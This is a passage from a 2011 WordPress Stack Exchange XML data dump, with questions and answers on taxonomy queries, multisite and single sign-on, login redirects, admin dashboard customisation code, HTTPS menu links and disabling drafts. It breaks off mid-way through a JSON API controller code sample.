  <row Id="18176" PostTypeId="1" CreationDate="2011-05-25T02:21:44.210" Score="1" ViewCount="106" Body="&lt;p&gt;&lt;br&gt;&#xA;I'm trying to use get_the_term_list to catch the name of the current taxonomy of the page, and then use it with get_terms and a foreach method, to show the result of all the &quot;elements&quot; from the same taxonomy, but i only got an empty result. (for example, this is to have the related articles of the page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know why it doesn't work? The echo on get_the_term_list works ok, but then in the parameter of get_terms, the result of the &quot;li&quot;s is blank.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_tax = get_the_term_list( $post-&amp;gt;ID, 'type');&#xA;//echo $my_tax;?&amp;gt; output works fine&#xA;&#xA;$terms = get_terms($my_tax);&#xA;foreach ($terms as $term) {&#xA;echo &quot;&amp;lt;li&amp;gt;&quot;.$term-&amp;gt;name.&quot;&amp;lt;/li&amp;gt;&quot;; // empty&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could you help me?&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-25T05:42:29.040" Title="get_terms problem : related articles" Tags="&lt;taxonomy&gt;&lt;get-the-term-list&gt;&lt;get-terms&gt;" AnswerCount="1" />
  <row Id="18177" PostTypeId="2" ParentId="18176" CreationDate="2011-05-25T02:30:25.677" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_the_term_list()&lt;/code&gt; is retrieving the terms attached to the post that are in the taxonomy &quot;types&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_terms()&lt;/code&gt; is designed to retrieve all the terms within a taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are trying to do is use &lt;code&gt;get_terms()&lt;/code&gt; for a specific term in a taxonomy, not a taxonomy itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to do: &lt;code&gt;$terms = get_terms('type');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-25T05:42:29.040" LastActivityDate="2011-05-25T05:42:29.040" CommentCount="7" />
  <row Id="18179" PostTypeId="2" ParentId="18174" CreationDate="2011-05-25T02:43:05.960" Score="1" ViewCount="" Body="&lt;p&gt;Have you considered using the multisite capabilities built into WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a plugin that will allow you to map multiple domains to the single installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-25T02:43:05.960" />
  <row Id="18180" PostTypeId="1" CreationDate="2011-05-25T02:47:26.257" Score="0" ViewCount="156" Body="&lt;p&gt;I am trying to implement a single sign-on solution between a Wordpress and a non-WP site, under different domains. I am aiming to setup a ghost WP install on the non_WP site domain, to be able to load WP in the background, and facilitate cross-domain cookie sharing and authentication&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have setup a fresh install of WP, using the database of my original WP site, and I would like to share the users.&lt;/p&gt;&#xA;" OwnerUserId="5653" LastActivityDate="2011-05-25T13:15:21.270" Title="Share users across multiple sites on same database, but with different domains" Tags="&lt;database&gt;&lt;users&gt;" AnswerCount="2" />
  <row Id="18181" PostTypeId="2" ParentId="18173" CreationDate="2011-05-25T02:47:45.100" Score="1" ViewCount="" Body="&lt;p&gt;WordPress.com hosted sites include a sitemap for search engines by default. The URL for the sitemap is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;http://&lt;strong&gt;yourblogname&lt;/strong&gt;.wordpress.com/sitemap.xml&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-25T02:47:45.100" />
  <row Id="18182" PostTypeId="1" CreationDate="2011-05-25T02:48:00.327" Score="3" ViewCount="57" Body="&lt;p&gt;I can login as admin but when I try to login as a user I get redirected to the login screen (using the correct credentials, incorrect ones will result in an error message and the &quot;shake&quot; warning). If I enter the wrong password I get an error message but with the correct one I just get redirected back to the login screen with the following url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.org/wp-login.php?redirect_to=http%3A%2F%2Fmysite.org%2Fwp-admin%2Fprofile.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would assume that would send me to &lt;code&gt;http://mysite.org/wp-admin/profile.php&lt;/code&gt; but it simply dumps me back at the login screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - SOLUTION:&lt;/strong&gt;&#xA;It was a custom plugin. The plugin defined its own version of &lt;code&gt;auth_redirect()&lt;/code&gt; which required the user to have a &lt;code&gt;user-&amp;gt;level &amp;gt; 2&lt;/code&gt; (i.e. admin) and redirected anyone who was not. Now I have to talk to the guy that wrote this and figure out what his intent was so we can solve it. &lt;/p&gt;&#xA;" OwnerUserId="4176" LastEditorUserId="4176" LastEditorDisplayName="" LastEditDate="2011-05-25T13:48:11.993" LastActivityDate="2011-05-25T13:48:11.993" ClosedDate="2011-05-25T20:58:11.013" Title="Login not working for users, works for admin" Tags="&lt;users&gt;&lt;errors&gt;&lt;login&gt;" CommentCount="7" FavoriteCount="1" />
  <row Id="18183" PostTypeId="2" ParentId="18163" CreationDate="2011-05-25T02:55:33.053" Score="0" ViewCount="" Body="&lt;p&gt;There is indeed little information available on how to customize the Dashboard. Lately I have been looking around too and have bookmarked a few of what seem to have good tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you had a look at these threads?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1216/changing-the-order-of-admin-menu-sections&quot;&gt;Changing the Order of Admin Menu Sections?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2666/add-a-separator-to-the-wordpress-admin-menu&quot;&gt;Add a Separator to the WordPress Admin Menu?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sixrevisions.com/wordpress/how-to-customize-the-wordpress-admin-area/&quot; rel=&quot;nofollow&quot;&gt;http://sixrevisions.com/wordpress/how-to-customize-the-wordpress-admin-area/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2011/05/10/new-wordpress-power-tips-for-template-developers-and-consultants/&quot; rel=&quot;nofollow&quot;&gt;http://www.smashingmagazine.com/2011/05/10/new-wordpress-power-tips-for-template-developers-and-consultants/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-25T02:55:33.053" />
  <row Id="18184" PostTypeId="2" ParentId="18161" CreationDate="2011-05-25T02:56:50.677" Score="0" ViewCount="" Body="&lt;p&gt;You could create all your own templates in a child theme but the core engine does contain the HTML tags and ids.  For me this is the problem with Theme Frameworks (Unless your willing to totally commit to them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code quality is outstanding but it's just too much work to roll things your own way.  Just to remove the the genesis and studio press links in the footer you have to write a function remove 2 filters and add an action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To replace all the divs with your HTML5 tags your going to have to have to write your own functions for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_site_title()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_before_content_sidebar_wrap()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_after_content_sidebar_wrap()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_before_content()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_after_content()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_sidebar()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genesis_before_sidebar_widget_area()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and others&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then do &lt;code&gt;remove_actions&lt;/code&gt; and &lt;code&gt;add_filter&lt;/code&gt; depending on the situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the visual markup chart to help with your efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tuWHt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-25T02:56:50.677" CommentCount="2" />
  <row Id="18185" PostTypeId="2" ParentId="18180" CreationDate="2011-05-25T03:00:20.210" Score="1" ViewCount="" Body="&lt;p&gt;You're not going to get cross domain cookie sharing working. Browsers will not allow domaina.com to access cookies set for domainb.com and vice versa. Subdomains can share cookies set for the parent domain. So domaina.mydomain.com and domainb.mydomain.com can access cookies set for .mydomain.com&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-25T03:00:20.210" CommentCount="2" />
  <row Id="18186" PostTypeId="2" ParentId="18163" CreationDate="2011-05-25T03:08:48.930" Score="1" ViewCount="" Body="&lt;p&gt;I use a custom include file that I created to modify the dashboard.  Some of the hooks and filters are commented out by default but most of the stuff is here to remove menus, change wp logos, remove meta boxes, remove dashboard widgets, etc...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*  &#xA;File: cleanup-dashboard.php&#xA;Description: Clean up and customize the dashboard&#xA;Author: Chris Olbekson&#xA;Author URI: http://c3mdigital.com&#xA;*/&#xA;&#xA;//Dashboard Action Hooks&#xA;add_action( 'admin_init', 'c3m_admin_style' );&#xA;add_action( 'admin_init', 'c3m_remove_dashboard_meta' );&#xA;add_action( 'admin_init', 'c3m_remove_post_meta' );&#xA;add_action( 'admin_menu', 'c3m_remove_admin_menus' );&#xA;add_action( 'admin_menu', 'c3m_remove_admin_submenus' );&#xA;add_filter( 'admin_user_info_links', 'c3m_user_greeting' );&#xA;add_action( 'admin_head', 'c3m_custom_logo' );&#xA;add_action( 'login_head', 'c3m_custom_login_css' );&#xA;add_action( 'login_head', 'c3m_custom_login_logo' );&#xA;add_filter( 'admin_footer_text', 'c3m_remove_footer_admin' );&#xA;add_action( 'init', 'c3m_change_post_object_label' );&#xA;add_action( 'admin_menu', 'c3m_change_post_menu_label' );&#xA;add_filter( 'admin_body_class', 'c3m_admin_body_class' );&#xA;&#xA;&#xA;//Dashboard CSS&#xA;function c3m_admin_style() {&#xA;wp_enqueue_style( 'c3m_admin_css', get_bloginfo( 'stylesheet_directory' ) . '/_/admin/c3m-admin.css', false, '1.0', 'all');&#xA;}&#xA;&#xA;//Removes the dashboard widgets&#xA;function c3m_remove_dashboard_meta() {&#xA;    remove_meta_box('dashboard_incoming_links', 'dashboard', 'normal');&#xA;    remove_meta_box('dashboard_plugins', 'dashboard', 'normal');&#xA;    remove_meta_box('dashboard_primary', 'dashboard', 'normal');&#xA;    remove_meta_box('dashboard_secondary', 'dashboard', 'normal');&#xA;    remove_meta_box('dashboard_incoming_links', 'dashboard', 'normal');&#xA;    remove_meta_box('dashboard_quick_press', 'dashboard', 'side');&#xA;//  remove_meta_box('dashboard_recent_drafts', 'dashboard', 'side');&#xA;    remove_meta_box( 'dashboard_recent_comments', 'dashboard', 'normal' );&#xA;}&#xA;&#xA;function c3m_remove_post_meta() {&#xA;//  remove_meta_box( 'commentstatusdiv', 'page', 'normal' ); &#xA;//  remove_meta_box( 'commentstatusdiv', 'post', 'normal' ); &#xA;//  remove_meta_box( 'commentsdiv', 'page', 'normal' );&#xA;//  remove_meta_box( 'commentsdiv', 'post', 'normal' );  &#xA;//  remove_meta_box( 'authordiv', 'page', 'normal' );&#xA;//  remove_meta_box( 'authordiv', 'post', 'normal' ); &#xA;//  remove_meta_box( 'trackbacksdiv', 'post', 'normal' );&#xA;//  remove_meta_box( 'trackbacksdiv', 'page', 'normal' );&#xA;//  remove_meta_box( 'postcustom', 'post', 'normal' );&#xA;//  remove_meta_box( 'postcustom', 'page', 'normal' );&#xA;//  remove_meta_box( 'slugdiv', 'post', 'normal' );&#xA;//  remove_meta_box( 'slugdiv', 'page', 'normal' );&#xA;  //remove_meta_box( 'excerptdiv', 'post', 'normal' );&#xA;//  remove_meta_box( 'page_choicediv', 'post', 'normal' );&#xA;//  remove_meta_box( 'page_choicediv', 'sponsor_ad', 'normal' );&#xA;}&#xA;&#xA;//Remove top level admin menus&#xA;//Remove top level admin menus&#xA;function c3m_remove_admin_menus() {&#xA;    remove_menu_page( 'edit-comments.php' );&#xA;    remove_menu_page( 'link-manager.php' );&#xA;    remove_menu_page( 'tools.php' );&#xA;//  remove_menu_page( 'plugins.php' );&#xA;//  remove_menu_page( 'users.php' );&#xA;//  remove_menu_page( 'options-general.php' );&#xA;}&#xA;&#xA;//Remove sub level admin menus&#xA;function c3m_remove_admin_submenus() {&#xA;    remove_submenu_page( 'themes.php', 'theme-editor.php' );&#xA;    remove_submenu_page( 'themes.php', 'themes.php' );&#xA;    remove_submenu_page( 'edit.php', 'edit-tags.php?taxonomy=post_tag' );&#xA;    remove_submenu_page( 'edit.php', 'edit-tags.php?taxonomy=category' );&#xA;//  remove_submenu_page( 'themes.php', 'nav-menus.php' );&#xA;//  remove_submenu_page( 'themes.php', 'widgets.php' );&#xA;//  remove_submenu_page( 'plugins.php', 'plugin-editor.php' );&#xA;//  remove_submenu_page( 'plugins.php', 'plugin-install.php' );&#xA;//  remove_submenu_page( 'users.php', 'users.php' );&#xA;//  remove_submenu_page( 'users.php', 'user-new.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-writing.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-discussion.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-reading.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-discussion.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-media.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-privacy.php' );&#xA;//  remove_submenu_page( 'options-general.php', 'options-permalinks.php' );&#xA;}&#xA;&#xA;&#xA;//This Adds an extra body class to a custom post type editor screen to target with css&#xA;function c3m_admin_body_class( $classes ) {&#xA;    global $wpdb, $post;&#xA;    $post_type = get_post_type( $post-&amp;gt;ID );&#xA;    if ( is_admin() &amp;amp;&amp;amp; ( $post_type == 'sponsor_ad' ) ) {&#xA;        $classes .= 'post_type-' . $post_type;&#xA;    }&#xA;    return $classes;&#xA;}&#xA;&#xA;&#xA;//Replaces Howdy with Welcome pretty self explanitory&#xA;function c3m_user_greeting( $greet_msg ) {&#xA;    $greet_msg = str_replace( 'Howdy,','Welcome', $greet_msg);&#xA;    return $greet_msg;&#xA;}&#xA;&#xA;&#xA;//Admin Header Logo  this replaces the WordPress logo with your own&#xA;function c3m_custom_logo() {&#xA;   echo '&#xA;      &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;         #header-logo { background-image: url('.get_bloginfo('template_directory').'/images/logo_wnd_small.png) !important; width:98px; }&#xA;      &amp;lt;/style&amp;gt;  &#xA;   ';&#xA;}&#xA;//Admin Footer Logo Same as above but for the footer&#xA;function c3m_remove_footer_admin() {&#xA;    echo '&amp;lt;div id=&quot;wlcms-footer-container&quot;&amp;gt;';&#xA;    echo '&amp;lt;a target=&quot;_blank&quot; href=&quot;http://c3mdigital.com&quot;&amp;gt;&amp;lt;img style=&quot;width:80px;&quot; src=&quot;'.get_bloginfo('template_directory').'/images/developer-logo.png&quot; id=&quot;wlcms-footer-logo&quot;&amp;gt;Custom WordPress Development&amp;lt;/a&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;&amp;lt;p id=&quot;safari-fix&quot;';&#xA;}&#xA;&#xA;//Login Screen CSS Custon css to replace the WP logo on the login screen&#xA;function c3m_custom_login_css() { &#xA;echo '&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;'.get_bloginfo('template_directory').'/_/admin/c3m-login.css&quot; /&amp;gt;'; &#xA;}&#xA;&#xA;//Login Screen Logo this incjects your logo css into the login css page&#xA;function c3m_custom_login_logo() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;    h1 a { background-image:url('.get_bloginfo('template_directory').'/images/logo_wnd_new.png) !important; margin-bottom: 20px; height:100px; }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        function loginalt() {&#xA;            var changeLink = document.getElementById(\'login\').innerHTML;&#xA;            changeLink = changeLink.replace(&quot;http://wordpress.org/&quot;, &quot;' . site_url() . '&quot;);&#xA;            changeLink = changeLink.replace(&quot;Powered by WordPress&quot;, &quot;' . get_bloginfo('name') . '&quot;);            &#xA;            document.getElementById(\'login\').innerHTML = changeLink;&#xA;        }&#xA;        window.onload=loginalt;&#xA;    &amp;lt;/script&amp;gt;&#xA;    ';&#xA;}&#xA;&#xA;//This changes the name of Posts to something different&#xA;function c3m_change_post_menu_label() {&#xA;    global $menu;&#xA;    global $submenu;&#xA;    $menu[5][0] = 'Post Boxes';&#xA;    //$menu[10][0] = 'Files';&#xA;    $submenu['edit.php'][5][0] = 'Post Boxes';&#xA;    $submenu['edit.php'][10][0] = 'Add Post Box';&#xA;    //$submenu['edit.php'][15][0] = 'Status';&#xA;    echo '';&#xA;}&#xA;&#xA;//Changes the label for the posts we changed above&#xA;function c3m_change_post_object_label() {&#xA;    global $wp_post_types;&#xA;    $labels = &amp;amp;$wp_post_types['post']-&amp;gt;labels;&#xA;    $labels-&amp;gt;name = 'Post Boxes';&#xA;    $labels-&amp;gt;singular_name = 'Add New Post Box';&#xA;    $labels-&amp;gt;add_new = 'Add Post Box';&#xA;    $labels-&amp;gt;add_new_item = 'Add Post Box';&#xA;    $labels-&amp;gt;edit_item = 'Edit Post Box';&#xA;    $labels-&amp;gt;new_item = 'Post Box';&#xA;    $labels-&amp;gt;view_item = 'View Post Box';&#xA;    $labels-&amp;gt;search_items = 'Search Post Boxes';&#xA;    $labels-&amp;gt;not_found = 'No Post Boxes found';&#xA;    $labels-&amp;gt;not_found_in_trash = 'No Post Boxes found in Trash';&#xA;}&#xA;&#xA;//Post Edit Columns Customizes the post edit columns by adding the featured image as a thumbnail and shows the excert &#xA;// Add to admin_init function&#xA;add_filter( 'manage_edit-post_columns', 'add_new_post_columns');&#xA;add_filter( 'manage_edit-post_columns', 'unset_the_defaults');&#xA;add_action( 'manage_posts_custom_column', 'testimonial_custom_column', 10, 2);&#xA;add_action( 'manage_posts_custom_column', 'testimonial_source_column', 10, 2);&#xA;&#xA;function unset_the_defaults($defaults) {&#xA;    unset($defaults['author']);&#xA;   //unset($defaults['title']);&#xA;    return $defaults;&#xA;&#xA;}&#xA;&#xA;function add_new_post_columns($dfaults) {&#xA;    $dfaults['page_choice'] = 'Displayed On';&#xA;    $dfaults['article_source'] = 'Source';&#xA;    $dfaults['post_box_excerpt'] = 'Post Box Excerpt';&#xA;    $dfaults['post_box_image'] = 'Post Box Image';&#xA;    return $dfaults;&#xA;}&#xA;&#xA;function testimonial_custom_column($column_name, $post_id){&#xA;    $taxonomy = $column_name;&#xA;    $post_type = get_post_type($post_id);&#xA;    $terms = get_the_terms($post_id, $taxonomy);&#xA;&#xA;    if (!empty($terms) ) {&#xA;        foreach ( $terms as $term )&#xA;            $post_terms[] =&quot;&amp;lt;a href='edit.php?post_type={$post_type}&amp;amp;{$taxonomy}={$term-&amp;gt;slug}'&amp;gt; &quot; .esc_html(sanitize_term_field('name', $term-&amp;gt;name, $term-&amp;gt;term_id, $taxonomy, 'edit')) . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;            echo join('', $post_terms );&#xA;    }&#xA;    else echo '&amp;lt;i&amp;gt;No Display Page Set. &amp;lt;/i&amp;gt;';&#xA;}&#xA;&#xA;&#xA;function testimonial_source_column($column_name, $post_id) {&#xA;    global $post; global $prefix;&#xA;    if ($column_name == 'article_source') {&#xA;        echo get_post_meta($post_id, $prefix.'article-source', TRUE);&#xA;    }&#xA;    elseif ($column_name == 'post_box_image') {&#xA;       if ( get_post_meta($post_id, $prefix.'post_box_image', TRUE) ) { &#xA;        echo '&amp;lt;img src=&quot;' .get_post_meta($post_id, $prefix.'post_box_image', TRUE). '&quot; style=&quot;max-width:40%; max-height:40%;&quot; /&amp;gt;'; &#xA;        }&#xA;        else echo 'No Post Box Image Set';&#xA;    }&#xA;    elseif ($column_name == 'post_box_excerpt') echo substr($post-&amp;gt;post_excerpt, 0, 150) . '...';&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-25T03:08:48.930" />
  <row Id="18187" PostTypeId="1" CreationDate="2011-05-25T03:11:57.980" Score="0" ViewCount="32" Body="&lt;p&gt;Ok, so I have a wordpress site with a lot of pages and menus that I've defined in the appearance/menus section of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my pages has a little payment form on, which I'd like to link to with &lt;a href=&quot;https://blahlbah.com/thepage&quot; rel=&quot;nofollow&quot;&gt;https://blahlbah.com/thepage&lt;/a&gt;.. and for all the other pages I'd like them to remain as http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I set an absolute link to the https page all the other pages being relative links become https also after you visit that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or a hack or something to just specify that one page as https?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-08-27T12:35:26.057" Title="HTTPS page link in menu" Tags="&lt;menus&gt;&lt;links&gt;&lt;https&gt;&lt;page-menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18188" PostTypeId="2" ParentId="7877" CreationDate="2011-05-25T03:13:56.803" Score="-2" ViewCount="" Body="&lt;p&gt;Try vSlider 4.0 at vibethemes.com. You can host multiple sliders and use the short code wherever you require.&lt;/p&gt;&#xA;" OwnerUserId="5660" LastActivityDate="2011-05-25T03:13:56.803" />
  <row Id="18189" PostTypeId="2" ParentId="2929" CreationDate="2011-05-25T03:33:47.847" Score="-1" ViewCount="" Body="&lt;p&gt;Magic Members&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.magicmembers.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.magicmembers.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5661" LastActivityDate="2011-05-25T03:33:47.847" />
  <row Id="18192" PostTypeId="1" CreationDate="2011-05-25T05:08:29.827" Score="0" ViewCount="54" Body="&lt;p&gt;I want to add email field on the registration page and check it if the two email that the user input matched or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using eshop theme by templatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5662" LastActivityDate="2011-08-24T12:34:10.990" Title="Adding re-type email and check it if the email match" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;registration&gt;" AnswerCount="1" />
  <row Id="18193" PostTypeId="2" ParentId="18192" CreationDate="2011-05-25T05:26:33.110" Score="0" ViewCount="" Body="&lt;p&gt;This plugin may be exactly what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/register-plus/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/register-plus/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally, you may opt to create your own registration page in Wordpress from scratch. This guide will help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tutorialstag.com/create-custom-wordpress-registration-page.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorialstag.com/create-custom-wordpress-registration-page.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-25T05:26:33.110" CommentCount="3" />
  <row Id="18194" PostTypeId="1" AcceptedAnswerId="18196" CreationDate="2011-05-25T06:05:02.033" Score="0" ViewCount="50" Body="&lt;p&gt;Using Wordpress 3.1 is it possible to completely disable the drafts functionality or at least remove the &quot;Save Draft&quot; button from the post screen?&lt;/p&gt;&#xA;" OwnerUserId="3545" LastActivityDate="2011-05-25T06:15:08.650" Title="How to disable drafts?" Tags="&lt;posts&gt;&lt;3.1&gt;&lt;draft&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18195" PostTypeId="1" AcceptedAnswerId="18285" CreationDate="2011-05-25T06:11:48.717" Score="0" ViewCount="113" Body="&lt;p&gt;Is it possible to completely disable Bulk Edit functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Wordpress 3.1.&lt;/p&gt;&#xA;" OwnerUserId="3545" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-26T14:22:42.463" LastActivityDate="2011-05-26T14:22:42.463" Title="How to remove bulk edit options" Tags="&lt;posts&gt;&lt;wp-admin&gt;&lt;bulk&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="18196" PostTypeId="2" ParentId="18194" CreationDate="2011-05-25T06:15:08.650" Score="0" ViewCount="" Body="&lt;p&gt;If by draft, you mean &quot;autosave&quot;, you can consider using this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-feature-disable/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-feature-disable/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to disable revisions, instead...try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_POST_REVISIONS', 'false');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can put that in your /wp-config.php file and it should immediately take effect. Any previously saved revisions in your database will need to be purged. You can do it by running the following MySQL query in phpMyAdmin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM wp_posts WHERE post_type = &quot;revision&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-25T06:15:08.650" CommentCount="3" />
  <row Id="18197" PostTypeId="2" ParentId="18195" CreationDate="2011-05-25T06:19:17.537" Score="0" ViewCount="" Body="&lt;p&gt;I don't believe this is possible at this time. It's part of the Wordpress core and don't think there's a hook function to turn it off.&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2011-05-25T06:19:17.537" CommentCount="1" />
  <row Id="18199" PostTypeId="1" AcceptedAnswerId="18203" CreationDate="2011-05-25T06:40:27.260" Score="0" ViewCount="77" Body="&lt;p&gt;How do I override the search template i.e. used inside a theme with a custom search page inside a plugin? Please point our any relevant action/filter hooks which can be used to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5667" LastActivityDate="2011-05-25T07:41:08.387" Title="How do I override the search template in a plugin?" Tags="&lt;template&gt;&lt;hooks&gt;&lt;search&gt;" AnswerCount="2" />
  <row Id="18200" PostTypeId="2" ParentId="17224" CreationDate="2011-05-25T07:01:49.933" Score="2" ViewCount="" Body="&lt;p&gt;I would have done it as following, I am sure experts here will have a better way but following is what I could come up with in hurry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create your controller file in your theme directory (or any other if you like) with the following content. For this example the file name is korkmaz.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt; Please replace the previous korkmaz.php because extending introspector was dangerous many unwanted functions were exposed via URI. Now we have a &lt;strong&gt;new JSON_API_Korkmaz_Controller class&lt;/strong&gt; which &lt;strong&gt;does not extend&lt;/strong&gt; any other class and We have &lt;strong&gt;removed the JSON_API_CustomPost class&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2: Now supports querying custom taxonomies, see the example at the bottom. Includes new model class JSON_API_Term to represent term of any type of taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// most of the functions here are rewrite of json-api functions&#xA;class JSON_API_Korkmaz_Controller {&#xA;&#xA;    public function get_recent_posts() {&#xA;        global $json_api;&#xA;&#xA;        $posts = $json_api-&amp;gt;introspector-&amp;gt;get_posts();&#xA;        foreach ($posts as $jpost) {&#xA;            $this-&amp;gt;add_taxonomies( $jpost );&#xA;        }&#xA;        return $this-&amp;gt;posts_result($posts);&#xA;    }&#xA;&#xA;    protected function posts_result($posts) {&#xA;        global $wp_query;&#xA;        return array(&#xA;            'count' =&amp;gt; count($posts),&#xA;            'count_total' =&amp;gt; (int) $wp_query-&amp;gt;found_posts,&#xA;            'pages' =&amp;gt; $wp_query-&amp;gt;max_num_pages,&#xA;            'posts' =&amp;gt; 